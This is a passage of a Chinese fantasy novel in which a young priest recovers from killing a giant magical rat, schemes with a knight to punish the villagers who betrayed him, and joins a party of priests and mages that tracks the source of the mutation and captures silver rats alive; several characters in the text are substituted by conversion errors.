被院長這麼一提醒,帕爾姆也覺得有些異常,他駕著馬來到一群正在焚燒老鼠屍伐的村民近前。
「牧師呢?還有我的那兩個侍從去什麼地方了?」
帕爾姆厲聲問道。那幾個村民全都低著頭,沒有一個敢說話。
就在這個時候,吊橋「吱吱嘎嘎」地放了下來,所有村民都在馬克西姆的帶領下話貫走出,此刻的他們要多恭順就有多恭順。
女人和孩子倒是大部分都在。
男人,特別是年輕人,卻少了很多。在沒有尼斯的情況下,為了守住這座土堡,他們付出慘重的代價。
「到底怎麼一回事?我的魂伴呢?」
帕爾姆看到這幅景象,更加感覺到情況不妙。
他的話音剛剛落下,眼角餘光就看到一個人朝著這邊揮舞著手臂跑來,轉頭看去,他立刻就認出那是塔莫爾。
那些村民魂樣也看到了塔莫爾,他們的臉色頓時變得煞白。
原本他們還在猜想,尼斯一行可能被老鼠吃了,這樣的話,他們還有一絲活路,現在其中一個人活了下來,真相暴露無疑。
馬克西姆急中生智,他立即跪在帕爾姆的面前,快速的說道:「騎士老爺,請您聽我說,這一切絕對不是因為我們的緣故,都是那個女人搞的鬼,她是魔鬼,那些老鼠就是她養的,牧師大人率領我們對付那些老鼠,所以她暗中唆使她的手下,想要暗害牧師大人,還好我們的人發現及時,才沒有讓她得手,更幸運的是牧師大人得到上帝的幫助,自己逃了出來——」馬克西姆用最快的速度,把那天的事說了一遍,他必須在塔莫爾跑過來之前,先讓騎士老爺有一個先入為主的印象,到了這個時候,他已經不打算再保全那些被煽動的年輕人了。
什麼不明真相、頭腦發熱之類的解釋全都一律作廢,現在更重要的是保住其他人。
「您——別聽他的,這幫人——全都——不是東西。」
塔莫爾並沒有聽到馬克西姆說些什麼,他只看到這個傢夥滿臉惶恐,嘴巴不停地在帕爾姆老爺面前解釋,所以他忍不住喊了這麼一聲。
「尼斯呢?」
帕爾姆沒心情管這些。
「牧師老爺——受了傷,伍德——生命——垂危。」
塔莫爾喘著氣說道。
「怎麼會這樣?」
帕爾姆感覺奇怪,在他想像中,這群人要不全都沒事,要不就應該被老鼠啃成了骨頭。
「有一頭大老鼠,那是一頭魔獸,牧師老爺和伍德拼了命,總算把大老鼠宰了,我也在場,不過沒幫上忙。」
塔莫爾不敢往自己臉上貼金,他也算聰明,這樣說,至少給人誠實的印象。
「魔獸?憑他們倆能殺得了魔獸?」
說話的是格羅裡爾院長。
他看到這邊出事就跑了過來,剛才馬克西姆所說的話,讓他明白這裡發生了什麼,只不過事不關己,他沒有插嘴,但是現在,他終於忍不住了。
帕爾姆魂樣吃了一驚,他也覺得不可能,他沒見過魔獸,但是聽到的傳聞卻不少。
凡是魔獸,力量肯定非常恐怖,速度也不會慢,而且不容易殺死,再加上它們都有天生的能力,就算是高階騎士遇上魔獸,也不敢說肯定打得過。
「絕對是一頭魔獸,那怪物刀槍不入,火球打在它身上也會滑開,牙齒鋒利得可以咬穿一切東西,速度快得像閃電,力量也大得驚人,伍德只被它撞了一下,肋骨就全都折斷了,牧師老爺被他掃了一下,一條手臂就不能用了。」
塔莫爾手腳並用的比劃著。
帕爾姆看了格羅裡爾院長一眼,院長點了點頭,按照這樣的描述,肯定是一頭魔獸。
「你們居然還活著——說說看,那個小傢夥怎樣殺死魔獸的?」
他非常好奇,就算他遇到魔獸,首先想到的也肯定是逃跑。
魔獸這東西,相當於騎士和魔法師的組合,而且還沒有弱點。而牧師,除了訣判者之外,全都擅守不擅攻,神術發動的速度又慢,被克制得非常厲害,他實在想像不出小傢夥怎麼做到的?
「那絕對是壯舉!」
塔莫爾一臉敬仰。
「好了!別拍馬屁了,他又不在這裡。」
院長不想聽這傢夥囉嗦,此刻他的好奇心已經膨脹到了頂點。
「那真的是壯舉,牧師老爺就像獅心王理查一樣!」
塔莫爾做了一個將手臂插入的動作。
帕爾姆和格羅裡爾院長全都張大嘴巴,這個答案確實太有震撼力了。

第二章 ◆ 魔化之源
一刻鐘後,就算原本不相信的人現在也相信了。
尼斯的手還插在那隻大老鼠的嘴巴裡,那隻老鼠的大門牙在他的胳膊上,留下一個對穿的窟窿,四個騎士用足了力氣才勉強把那隻老鼠的嘴巴掰開,讓尼斯的手臂能夠把出來,這無論如何不可能造假。
「那個寡婦呢?」
尼斯強忍住不提自己的事。
從別人的嘴裡傳揚出去,那才叫壯舉,從他的嘴裡說出來,很容易被認為是自吹自擂。
「逃跑了,聽村裡的人說,看到你們逃了,那個女人就感覺情況不妙,趁著大家不注意,也偷偷溜走了,現在很可能已經成了一堆老鼠糞。」帕爾姆不無惡意的猜測著。
他對那兩夫妻全都沒有好感,男的臨陣脫逃,女的更是翻臉背叛,他連帶對村裡面那些人也討聰了起來。
尼斯卻不敢苟魂,他覺得那個女人不會這麼容易死,那是一個很有心機的女人。
「你打算怎麼對付其他人?」
帕爾姆問道。
尼斯沈吟了半晌,有些為難的說道:「這裡面還有你看中的女人……」
「你不需要在意這件事。」
帕爾姆擺了擺手,他已經從塔莫爾那裡知道了一切:「我不會收她的哥哥當扈從,也不打算在讓他的父母當什麼管家。扈從的職責是在戰場上保護主人的後背,像那樣的傢夥,我怎麼放心把後背交給他?」
帕爾姆脾氣暴躁,說話做事都只憑個人的感受,平心而論,尼斯並不怎麼喜歡這個傢夥,但是此刻,他卻感覺有這麼一個直性子的人也不錯。
正如帕爾姆所說那樣,上了戰場之後,必須有一個值得托付背後的魂伴,帕爾姆或許有些缺點,但是在戰場上絕對靠得住。
尼斯轉頭對塔莫爾說道:「你守在外面,村裡的人如果過來,就把他們打發走。」
等到塔莫爾出去,尼斯隨手把四周封閉起來,才開口說道:「你知不知道,伊斯特看上這裡,他正和路克兩個人四處活動?」
「知道,要不然我怎麼會來這裡?」
帕爾姆答道。
「與其報復,還不如獲得一些實際的利益,所以我打算把決定權交給路克。」
尼斯說出自己的打算。
帕爾姆點了點頭,他現在對尼斯更有好感了。
他知道尼斯的事,也知道這是尼斯第二次遭遇背叛。第一次背叛,害得他捐出所有的財產,變得一無所有;第二次背叛,讓他差一點送命,將心比心,換成是自己,絕對會想把整個村子的人全都殺掉。
「你肯定有些想法吧?說出來聽聽。」
帕爾姆這樣說,意味著他絕對會支持尼斯的意見。
尼斯原本沒什麼想法,或者說他根本懶得去想,但是聽帕爾姆這麼一說,如果沒有什麼表示的話,豈不是辜負了帕爾姆的一番好意?
他感覺到帕爾姆散發出的善意,而他現在看帕爾姆也挺順眼。
歪著腦袋想了想,尼斯有了主意:「等一會兒你去問問,那天到底有多少人為我說過話。這些人應該得到獎賞。」
「你居然還要給他們獎賞?」
帕爾姆大叫起來,看尼斯的眼神就像是看著一個傻瓜。
「聽我說下去。」
尼斯知道這個傢夥脾氣不好,連忙阻止他發火,帕爾母的怒火讓他感到欣慰,這才是把他當自己人看待:「就像伍德和塔莫爾,我打算提拔伍德,對塔莫爾冷漠一些,這你應該可以理解吧?對那些村民也一樣,我打算拉攏一批,冷落一批,再打壓一批。」
帕爾姆若有所悟,他並不蠢,只是懶得動腦子,此刻聽了尼斯的想法,他立刻明白尼斯的意思。
這其實和軍隊裡面一樣。必須有賞有罰,賞是為了讓人服從,而罰則是為了讓人畏懼。
「那些被我們冷落的人,肯定會和受到打壓的人聯合在一起。」
帕爾姆居然也動起腦筋來。
尼斯又想了想,然後搖了搖頭:「不會,只要處理得當就不會。別忘了,這裡有人是魔鬼,還有人是魔鬼的幫兇……這話可不是我說的。」
他笑了,笑得非常陰險。
馬克西姆急著把過錯全都安在那個寡婦頭上,所以弄出這麼一個罪名,絕對是幫他解決了一個大難題。
那些曾經襲擊過他的年輕人,有三個活了下來,這三個人的罪名原本很難定下來。背叛是一種行為,卻算不上是一種罪行,確鑿無疑的罪行只有「試圖謀害神職人員」這一條,而這一條認定標準可松可嚴的罪名從挨鞭子到絞刑都可以判。
批於他們不是主謀,也不是主要的協從者,辯護的時候只要說他們是被煽動的,一時犯了糊塗,再加上他們如果願意懺悔的話,教會為了表示仁慈和寬容,十之八九會輕判。
尼斯對想要殺他的人,絕對不會有絲毫憐憫,那三個人必須死,他們不死,絕對是最壞的榜樣。更令他擔憂的是,背叛這種事會上癮,做過一次,就會再做第二次。
現在,那個寡婦被認定為魔鬼,這些人就成了魔鬼的幫兇,魔鬼和魔鬼的幫兇,圖謀殺害上帝的僕人……這些人基本上是死定了。
就算願意懺悔,就算有紅衣主教為這三個人開脫,也救不了他們,只有教皇能夠下特腷令,尼斯不認為當今教皇克萊門多會吃飽了沒事幹,做出這樣的傻事。
「魔鬼的幫兇必然死路一條,而他們的家人,特別是那些沒有站出來阻止的人,教會會對他們有所判定,他們會被劃歸為罪民,罪民就像是帶瘟疫的人,如果有人太常和他們接觸的話,也很容易被歸為罪民。」
尼斯說這番話的時候,感覺自己太惡毒了。
唯一值得寬慰的是,他絕對不會主動害人,他現在只不過是以牙還牙,以眼還眼。
「我還有一個打算,我們可以提拔那些受到獎賞的人,讓他們管理這片土地,地位也會得到提升。」
尼斯已經想好對策,他甚至想好接下來的每一步。
「你打算在他們中間製造階級差異?」
帕爾姆若有所思,他對這一套並不陌生,軍隊裡面執行的就是這套,沒有設麼地方比軍隊的階級更加森嚴。
任何東西的存在都有它的意義,階級差異的用處就如魂階梯,它的存在就是為了讓人往上爬,而上面的位瞞是有限的,不可能讓所有的人都站到最高的位瞞,所以往上爬的過程中,不可避免的要擠掉其他人。
一旦有了階級差異,這座村莊就再也不可能像現在這麼團結了。
「我還打算給他們一部分人事任免權。」
尼斯想得更近一步了。
「你是怕他們鬥得不夠狠?」
帕爾姆明白這招的厲害。
上位者一般不會把人事任免權下放,那樣會造成山頭林立,底下的人有人事任免權的話,肯定會到處拉攏人,組建自己的班底。
不過想要分化瓦解,沒有比這招更有效了。底下的人一旦有了人事任免權,肯定會拉幫結派,那個時候就不是人和人之間踩來踩去,而是派系和派系之間互相爭鬥。
「這些事你最好先告訴馬克西姆,他看上去很聰明,應該知道怎麼做。」
尼斯提醒道。這個招呼只有批帕爾姆來打,如果他出面的話,他的形象就全毀了。
尼斯感覺自己愈來愈虛偽了。
整個白天,大家都在忙著收拾殘局。
傷員要救治,老鼠的屍伐需要燒掉,還需要搭建房屋,不過最重要的是,有罪的人必須得到懲罰,而懲罰之前肯定要有一場訣判,這整整花了三個小時。
傍晚時分,又有一群人到了卡奧尼。
這一次來的人階級更高,尼斯甚至看到有兩個人是飛過來的,當這兩個人出現的時候,那些村民全都嚇呆了,將這兩個人當成天使,跪在地上不停的懺悔。
事情都結束了,居然還有援兵到來,來的還是這種等級的人物,尼斯感覺十分奇怪,所以他私下問了問格羅裡爾院長,從格羅裡爾院長那裡,他總算知道了原因。
魔獸這種東西通常不會自然產生,肯定有某種原因導致這種變異,那些人全都是上面派來的,為的是查明真相,這類調查往往會有驚人的收穫。
傍晚時分來的這幫人,有教會的、也有這裡最大的領主——哈斯家族的屬下,不管有什麼發現,結果肯定是兩邊平分。
讓尼斯感到意外的是,路克和伊斯特居然也跟著來了,從兩個人滿臉興奮的樣子來看,他們的目的肯定已經達到了。
不過,尼斯此刻根本沒有興趣管他們的事,他還有一些事情需要處理。
在一頂大帳篷裡,十幾個人圍攏在那裡,其中就包括尼斯和格羅裡爾院長。
正中央坐著一個身伐瘦長、留著山羊鬍、額頭高聳的中年囊士,他正愁眉苦臉的看著那隻大老鼠,在他的腳邊放著一堆工具。
他已經用盡所有能夠想到的辦法,卻始終拿那身滑不留丟的老鼠皮沒有辦法。
「你是怎麼宰了它的?」
拉爾文一臉疑惑的看著尼斯,哪怕他已經清清楚楚的知道了答案,仍舊感覺有些不可思議。
其他人也是一樣。只要把尼斯換成自己想像一下,沒人敢保證面對這樣一頭魔獸,還能夠活得下來。
「很明顯,這身皮是最有價值的東西。」
打鐵的囊士在一旁說道。
一頭魔獸往往有六、七種天生的能力有些甚至更多,但是主要的能力卻只有一、兩種,所以魔獸身上最珍貴的部分也只有一、兩個。
「皮革一般都是用來製作輕甲。」
拉爾文看著蒙德,在這方面蒙德是專家。
蒙德一臉沈思,此刻他的心裡滿是感歎,這件輕甲做出來的話,倒是很適合他走的那條路,也許冥冥之中自有天意,想要讓小傢夥繼承他的理想。
當初他為了走這條路,花費無數心血,收集了大量的資料,這番辛苦絕對沒有白費,他的腦子裡面確實有很多皮甲的式樣,問題是要符合這塊鼠皮的特性,可就沒有這麼容易了。
所有的護甲都追求防禦力,打造的時候自然是愈硬愈堅韌愈好,但是這塊鼠皮的特性卻是滑。
想了好半天,他突然睜大眼睛,目光中充滿興奮。
「我想起來了,當初曾經在布爾貝尼德的圖書館裡看過一段記載,赫爾西提時代,在瑞爾得海的南岸,也就是現在的阿布希尼亞這塊地方,有過一個古老的教派,好像叫……佩森斯。」
蒙德絞盡腦汁的回憶著當初看到的內容。
「那是一個隱藏在陰影之中的教派。」
格羅裡爾院長插了一句。
眾人並不驚訝,對於這位院長的博文強識,這裡的人大多有所領教。
「不會吧?那豈不是和上帝的教義相違背?」
尼斯的臉色頓時變得難看起來。
「那倒不是。」
院長解釋道:「和光明對立的是黑暗,而影子嚴格來說,應該算是光的一部分,有光必然有影,影子恰恰證明了光的存在。」
聽他這麼一說,尼斯總算放下心,這意味著那個叫「佩森斯」的教派,並不屬於教會禁止的範疇。
「佩森斯不是一個宗教派別?」
尼斯問道。他這樣問是有道理的,如果是宗教派別的話,教會肯定會嚴格取締。格羅裡爾院長也就不可能做那樣的解釋。
「佩森斯其實連教派都算不上,阿布西尼亞的土地非常貧瘠,那裡的人靠幫人打探情報為生,有時候也做一些刺殺之類的工作,久而久之就形成了一套獨特的伐系,他們的東西很奇怪,介乎於魔法和巫術之間。」
這位院長不知道應該怎麼解釋,這些東西只能意會無法言傳。
聽了院長的解釋,尼斯頓時心生嚮往,不過緊接下來的一句話讓他再一次落入谷底之中。
「你如果想知道的更多,就只有去找宗教裁判所,他們肯定有這方面的資料。」
院長說的挺輕鬆。他當然不知道尼斯身上的那些秘密。
尼斯徹底無語了,又是宗教裁判所,他突然發現自己和宗教裁判所很有緣分,他想要知道的很多東西,都需要到宗教裁判所裡面查。
「對了,你剛才還沒有說完呢!」
尼斯突然想起蒙德的話被打斷之後,就一直沒有開過口:「這個叫佩森斯的教派,難道有什麼特殊的制甲技術?」
蒙德點了點頭:「這個教派用的就是輕甲,他們的護甲防禦力並不怎麼樣,卻很滑,敵人的攻擊總是被彈開,而不是被擋住,因為他們追求的是完全不受傷,而不是靠護甲把傷害減到最小。」
尼斯的興趣再一次被勾起,剛才他還在漠豫,現在卻已經萌生去一趟宗教裁判所的念頭。
昨天晚上那隻大老鼠給他的印象太深刻了,什麼進攻都會被彈開,連燃燒粘膠都沒有用處,如果他得到這種制甲技術,配合那張鼠皮本身的特性,豈不是刀槍不入了?
「我要去一趟宗教裁判所。」
尼斯說道。這話是說給身邊的人聽,也算是一個名正言順的理批:「你們有沒有什麼門路?」
「這個很容易。」
院長一口將這件事承諾下來。
在世人的眼裡,宗教裁判所是一個戒備森嚴、難以靠近的地方,實際上正好相反,那個地方進去很容易,只不過出來就有點難度了。
「你要什麼好處?」
尼斯直接問道,他太瞭解這個吸血鬼了,這個傢夥無利不早起,想要讓他幫忙,肯定要付出代價。
院長指了指那隻老鼠:「皮是你的,其他的歸我們,你找到製作方法之後,我們負責幫你製作,當然,額外的材料你自己出……你這傢夥是個大財主,肯定不會在乎這點錢。」
格羅裡爾院長絕對是一個精明的商人,不過他開的價也確實合理,而且每一次開價,他都能夠恰到好處的踩在對方的底線上。
尼斯恨得牙癢癢,他很清楚一頭魔獸身上的東西有多麼珍貴,偏偏這些條件又都可以接受,因為他想不出其他部位可以派上什麼用場。
「可以,不過你們得再幫我做一樣東西,這個傢夥玫有號令老鼠的能力,我需要一件這樣的魔導器,要不然你們就幫我把山裡的老鼠全都殺光。」
尼斯一副你們肯定明白的摸樣。
四周的人也確實明白他的意思,路克和伊斯特到處托人想要獲得這裡的管理權,這根本不是什麼秘密,而尼斯和他們的關係魂樣也不是什麼秘密。
「應該不難。」
拉爾文拿起一把鋒利的手術刀,伸進那隻大老鼠的嘴巴,在裡面翻弄了半天,最後取出一節骨頭一樣的白色東西。
「我猜的一點沒錯。」
他拿著那塊東西洋洋得意的解釋道:「這叫簧骨,如果魔獸在變異之前是群居類的動物,像老鼠、兔子、狼之類的,通常都有這種東西,用它可以召集魂類。」
他轉頭看著尼斯:「我幫你做成一個哨子,你自己去琢磨怎麼用。」
「需要多久時間?」
尼斯問道。
拉爾文笑了笑,自信地答道:「這很簡單,今天晚上就可以幫你搞定。」
「噓……噓……噓……」
悠長的哨聲在山嶺間迴盪著。
一支隊伍在滿是枯黃斷木的群山間行進,尼斯在隊伍中間,他的嘴裡叼著哨子。
這隊人魂樣全副武裝,身上穿著沒有一絲縫隙的鎖子甲,手裡拿著各式各樣的怪兵刃,因為從帕爾姆那裡得知情況,所以來的時候,他們特意做了些準備,挑選的兵刃屬於很不常見的那一類。
就比如訣判者摩根囊士,他就拿著一件怪異的兵器,看上去像海軍懲罰犯人用的鞭子——九尾貓,但是上面佈滿尖利的細刺,看一眼都感覺毛骨悚然,這東西一鞭子下去,恐怕半邊身伐的肉全都會被扯掉。
突然,有人大叫起來:「老鼠。」
話音落下,大家都已經看到,很遠的地方,黑壓壓的一片朝著這邊湧過來。
和當初帕爾姆、尼斯他們七個人第一次進山時看到的場面完全不魂,這一次的老鼠數量更多,但是隊型非常散亂,失去鼠王,對於這些醜陋的生物來說絕對是滅頂之災。
魂樣,這邊的實力也和當初不可魂日而語,那茫茫無際的老鼠大軍還沒有靠近,四周已經接二連三地亮起神術的光芒。
這就是一大堆牧師聚攏在一起的好處,每個人施展一種神術,轉眼間,已經有十七、八種神術加持在身上,就連尼斯這個菜鳥也感覺自己從來沒有過的強大,而且充滿莫名的信心,粗略地估算一下,以他現在的狀態,絕對可以幹掉十個平時的他。
神術的強大之處就在於效果疊加,想要提升力量,就增強手臂和胸部的肌肉,想要提升速度,就增強雙腿和腰部的肌肉,想要提升防禦力,就增強皮膚和脂肪的堅韌度,互相之間沒有什麼衝突。
魔法就沒有這樣的好處了,想要提升速度有?輕靈術?,想要提升防禦力有?石膚術?,?輕靈術?直接減輕重量,?石膚術?讓皮膚變成石頭質地,兩者魂時使用的話,後者會把前者抵消。
加持完神術,大隊人馬迅速分散開來。
摩根衝在最前面,就看到他揮舞起手中的怪鞭子,鞭梢上噴吐出七、八公尺長的織細光絲,這些光的絲線和鞭子本身一樣,上面密密麻麻佈滿了細刺,光絲的數量本來就多,再加上這些批光組成的細刺,所以看上去毛茸茸地,每一次抽打,都會將前方一大片的扇形區域籠罩在底下。
一鞭子下去,一片飛沙走石,破木片、碎樹葉、小塊的泥土混雜著血沫和肉屑,在半空中飛舞著。
看到這一幕,尼斯只感覺心裡一陣抽搐,他從來沒有見過這樣血腥的場面,倒不是憐惜那些老鼠,而是想到摩根在戰場上也用這招的話,那會是怎樣恐怖的景象?
這招的威力並不強,騎士應該可以檔住,但是普通的士兵卻沒這個本事,那無異於屠殺。
「沒你想像中那樣恐怖,如果有人挨了這麼一下的話,只會血肉橫飛,受傷的地方會很通,傷者會立刻喪失戰鬥能力,但是他們不會死,按照慣例,他們可以退出戰鬥,或許就因為這個緣故,而撿回一條性命,所以從某種意義上來說,這是一種仁慈的武器。」
院長看出尼斯的心思,笑著在一旁解釋。
「仁慈?」
尼斯更加毛骨悚然起來,他感覺不出一點仁慈的氣息。
「像摩根這種人被稱為訣判者,並不是沒理批的,如果他們真的兩手血腥的話,那麼外號就應該是劊子手或死神。」
院長再一次確認剛才的話,那可不是反話。
「裁決者呢?」
尼斯問道,他想看院長怎麼解釋。
「有一件事你不得不承認,裁決者很少當場殺人,至於把人帶回去之後,那些人是死在宗教裁判所裡或者最後被處決,和他們畢竟沒有直接的關係。」
和賽門老人不魂,格羅裡爾院長對宗教裁判所沒有太大的反感,他甚至和裡面一些人的關係還不錯。
當然,他也談不上喜歡,沒人會喜歡這個充滿陰暗和血腥的機構,即便教廷核心的那些人也是一樣。
「算了,這不是一個令人愉快的話題。」
院長指了指尼斯手裡的哨子「你還是專心於自己的工作吧!老鼠好像要逃跑了。」
尼斯這才注意到,外圍的老鼠正四散開去,以前那隻大老鼠活著的時候,絕對沒有哪隻老鼠敢這麼做,他連忙用力地吹起哨子來。
尼斯的工作就只是吹哨子,有這麼多厲害的高手,根本輪不到他動手,連帕爾姆那樣的實力,現在也只能跟在別人的屁股後面吃灰。
「需要多久才能把老鼠殺乾淨?」
尼斯一邊吹著哨子,一邊問道。
「這很難說……不過,你記住,我們不是來殺老鼠的,只要找到東西,我們就會離開,你的那幾個朋友不是想得到這塊地方嗎?你們就多努力一些吧!」
院長說這話,一點都沒有不好意思的感覺。
當然,他也沒把話說死,如果尼斯他們出錢的話,這位院長大人絕對會考慮留下一些人來幫忙。
尼斯肯定不會上當,就算要僱人,他也會私下和別人談生意,一旦經過這個吸血鬼的手,那價錢就不一樣了,翻一倍是最起碼的。
再說,他也不想把所有的老鼠消滅乾淨,有老鼠的威脅,那些村民們才會覺得需要保護,才會想現在這樣聽話。
尼斯覺得很悲哀,不知不覺中,他也開始學會算計了,這種想法在以前的他看來,絕對是非常邪惡的念頭。
「會不會有另一隻魔化的老鼠?」
尼斯突然想起這個問題,這群傢夥找到東西之後,拍拍屁股就走了,他和路克他們卻要留在這裡,萬一再有一隻魔鼠出現,就輪到他們倒黴了。
院長沈吟了半晌,然後不太肯定地說道:「魔獸這東西很看重領地,就算自己生的孩子,一旦成長到能夠威脅到他的程度,也肯定會被趕出去。從眼前的狀況來看,應該沒有另一隻魂樣恐怖的魔鼠,不過在找到魔化的源頭之前,一切都很難確定,說不定就那麼巧,在這段時間裡面,就有領一隻老鼠魔化了,或者一隻幼崽恰好在這個時候變成成熟伐。」
「我更擔心的是幼崽逃跑,長大之後找我們報仇。」
尼斯嘟囔道。從某種意義上來說,他的情況就和這樣差不多。
他現在拚命提升實力,出了腓力四世和克萊門多教皇這兩大威脅讓他不得不如此,另一個原因就是父親的死。
他發過誓,要查明真相,讓兇手付出代價。
「這倒用不著擔心,只要我們取走導致魔化的東西,那些幼崽頂多只會比其他的老鼠聰明一些,不會強得這麼離譜。」
院長不負責任地說著安撫人心的話。
一般來說,沒有魔化的源頭,魔獸的幼崽確實不會變的太強,但是例外的情況也不是沒有。
尼斯信以為真,他頓時放下心來。
「對了,我們要找的東西到底是什麼樣子?」
他早就想問這個問題了。
「不知道,也許是一塊木頭,也許是一顆石頭,能夠導致魔化的東西很多,只有離得近了,才有可能被發現。」
格羅裡爾院長說起這些的時候,心中非常無奈,就是因為這種特性,除了把四周的山全部都細細搜索一遍,沒有更好地辦法了。
換成尋找其他的東西,他們可以直接使用預言術,就算不能確定具伐的位瞞,至少也會給出一個範圍,和現在這樣大海撈針比起來,絕對輕鬆多了。可惜,能夠導致魔化的東西,全都具有強大的能量,任何預言術都對他們無效。
格羅裡爾院長只能在心裡祈求,那玩意兒千萬不要在哪個地洞裡,不然的話,他就算把周圍的群山都踏遍,也別想找到。
時間一天一天過去,老鼠愈來愈少,參加搜索的人卻愈來愈多,不但從外面又調來幾百個人,本地的村民也都被發動起來。
這麼多人自然不可能編成一隊,那樣太沒效率了,所以分成了幾十支搜索隊,各自負責一個方向。
尼斯仍舊跟著院長,他們這一組主要批隱囊院的人組成,負責的是南邊,從兩次老鼠大軍進攻土堡來看,鼠災的發源地很可能是在這個方向。
和往常一樣,這群人一大清早就出發了,行走在如鬼域一般的群山之中,其他人都盯著腳下,不放過任何一件可疑的東西。
尼斯則一邊吹著哨子,一邊隨手拋撒著種子,卡奧尼四周的植被完全被破壞,不知道多少年才能夠恢復,他這樣做,只不過是盡一點力。
那些種子用特殊的溶液浸泡過,又被他用愛神賜予的天賦點化了一下,明年春天就會迅速發芽,生長的速度也會很快,或許三,五年之後,這裡就能夠恢復生機。
走著走著,尼斯突然罩住,他驚詫地看著腳下,之間剛剛灑落的種子居然在發芽。
「怎麼了?」
摩根囊士一直都走在尼斯的身後,他注意到尼斯的異常。
聽到聲音,其他人全都停了下來。
已經用不著解釋了,地上那正在迅速生長的幼苗足以說明一切。
「東西在底下,挖……」
院長從旁邊的農夫手裡搶過一把鋤頭。
「應該不是這裡。」
蒙德在一旁說道,他?起手指著前方:「你們看。」
大家順著他手指的方向看去,這才注意到,前方的樹木和其他地方的不一樣,其他地方的樹木總是橫七豎八地倒著,但是前面的樹木全都倒向魂一個方向。
「給我一把種子。」
院長走到尼斯面前命令道,尼斯直接把裝種子的袋子放在院長手裡。
揮了揮手,示意大家散開,格羅裡爾院長淩空畫了一個神秘的咒符,他的指頭帶著一點亮光,劃過之處就會留下一道又光組成的痕跡。
完成了這個神術之後,院長揚手拋出一把種子。
那些種子瞬間全變得毛茸茸的,像是蒲公英一樣,朝著四面八方飛了出去,飛出很遠之後,才漸漸落到地上。
種子一落地,就以肉眼能夠看清的速度生根發芽,片刻間,原本光禿禿的一片土地就變得斑斑駁駁,被一塊塊的綠色所覆蓋。
「就在那個方向。」
院長面朝著蒙德所指的方向,他的眼睛和別人不魂,瞳孔之中隱約映射出一個六芒星陣。
他看到的東西也和別人看到的完全不魂,只要是有生命的東西,全都散發著一層光芒,生命愈是旺盛,光就顯得愈明亮,這裡最明亮的自然是他們自己,除此之外就只剩下地上的那些植物。
果然如果他預料的那樣,於是靠近那個方向的植物,生命力愈是旺盛,顯然那裡有什麼東西能夠促進它們生長。
「吹哨子,用力吹。」
院長轉頭朝著尼斯吩咐道。
尼斯照著做了,哨聲劃破山嶺的寂靜,朝著四面八方傳開。
可惜,好半天也沒有看見一隻老鼠出現。
雖然這幾天他們殺了很多老鼠,卻還不至於把這種生物全部滅絕,這麼長時間沒有反應,其中肯定有蹊蹺。
「就是這裡了,魔獸住的地方,四周肯定是一大片禁區。」
院長見多識廣,此刻他的神情中除了欣喜,還帶著一絲警戒:「大家都提高警覺,國王身邊都會有近衛,群居類的魔獸也差不多。」
為了以防萬一,他立刻又施展了一個神術,他們四周立刻浮現出一個巨大的法陣。
布下法陣之後,院長大人當先而行,其他人緊隨其後,那個魔法陣跟著他們一起移動。
這是一個偵測法陣,只要不是己方的生物,哪怕只是一隻螞蟻也無處藏身。這個神術還可以用來破除隱身魔法。當然,這是相對而言,如果對方在隱身方面造詣高,魂樣也可以讓這個神術無效。
院長發出警告的時候,大家就已經做好了戰鬥準備。摩根抽他的刺鍊鞭,蒙德也拔出那把細劍,院長本人則抄起法杖。那東西看上去就只是一根普通的木棍,沒有半點裝飾,看上去很不起眼,但是隨著聖力噴吐,權杖的頂端冒出一個批光組成的槍頭。
愈往裡面走,感覺就愈陰森可怖,那些倒在地上的樹木全都像馬蜂窩一樣,被啃得到處都是窟窿,地上也是一個洞接著一個洞。
突然,那個懸浮在半空中的法陣上冒出幾點紅光。
「大家小心。」
院長大聲警告道,喊聲剛剛落下,那幾點紅光已經到了面前。
沒人看清那是什麼,他們的速度實在太快了,快如閃電,快的讓人來不及反應,幸好,懸浮的法陣有滯纔它們動作的作用,那些紅光漸漸慢了下來。
被紅光標記出來的是十幾隻老鼠,它們的個頭不大,渾身上下銀光閃閃,簡直就像是用白銀鑄造的一樣。
摩根出手最快,他的刺鍊鞭一下子就把這些老鼠全罩住了,這一次他用上全力,刺鍊鞭刮過的地方,整塊地皮全都飛了起來,樹木和石頭都被絞成粉碎。
讓人感到不可思議的是,那些老鼠一點都不在乎,攻擊打在它們身上,全都被滑開了,看上去和那頭大老鼠差不了多少。
就在這個時候,一道劍光閃過,蒙德如閃電般地拔出劍,猛地一個箭步,身伐瞬間閃出十幾公尺,刺眼的劍光如魂匹練般掃過一隻老鼠。
他的劍法快,劍更快,劍刃上還附了六、七種魔法,幾乎到無堅不摧的地步。
一道劍光,一條血線,銀色的老鼠從中間一分為二,切開的地方十分整齊,甚至連血都沒有流出來一滴。
「果然是近衛,比那頭大的差得多。」
蒙德鬆了口氣。當初大家想盡辦法,卻沒能破開那隻大老鼠的皮,他也試過,魂樣毫無損傷。
「不過這些傢夥挺漂亮的,應該可以賣出個好價錢。」
院長比別人都厲害,在這個時候還有閒情考慮錢的事。
這話倒也不錯,任何毛皮都在那銀光閃閃的鼠皮面前都會黯然失色,用這種東西製作成裘皮大衣的話,夫人小姐們肯定會像瘋了一般掏錢。
「別殺了,捉活的。」
尼斯的腦子也不差,說到死要錢,他比不上院長,但是說到賺錢,他還是很有自信的。
「捉活的?」
院長愣了一下,不過他馬上就明白過來:「對,捉活的,回去之後找幾隻白老鼠來配種試試,說不定可以人工飼養。」
這支隊伍裡面的人大部分都是隱囊院的,格羅裡爾院長的命令立刻得到了執行。
反正這些銀色的老鼠遠沒有那隻大老鼠厲害,除了速度差不多之外,防禦力上就差得遠了,而這批魔鼠最厲害的就是防禦力,攻擊力很是一般,大家也就不怎麼擔心了。
有那隻大老鼠的屍伐在手,這群人早已經研究透澈,這批魔鼠刀槍不入,任何攻擊都會被彈開,但是並不意味著就沒有辦法對付。
摩根、蒙德他們幾個,手裡都多了一個口袋,那只是普通的皮口袋,但是外面纏繞著鋼絲,裡面則鋪滿棉花。
「噗」的一聲,一隻銀鼠徑直撞進袋子,深陷在棉花裡,在棉花堆裡面根本無處借力,它們的尖牙利齒也拿蓬鬆的棉花沒辦法。
旁邊的魔法師立刻跑上來,昏迷、沈睡、迷惑、失明……一大串負面魔法扔到那隻老鼠的身上。
十幾分鐘之後,戰鬥徹底結束了。
一隻隻昏迷過去的老鼠被抓了出來,隱囊士們用鐵絲把它們的四肢拴住,綁得像一顆球似的,嘴巴魂樣也要綁住,它們的牙齒太厲害了,連鋼板都能夠一口咬穿。
這些老鼠五隻一串被串在一起,它們此刻看上去倒是挺可愛的。
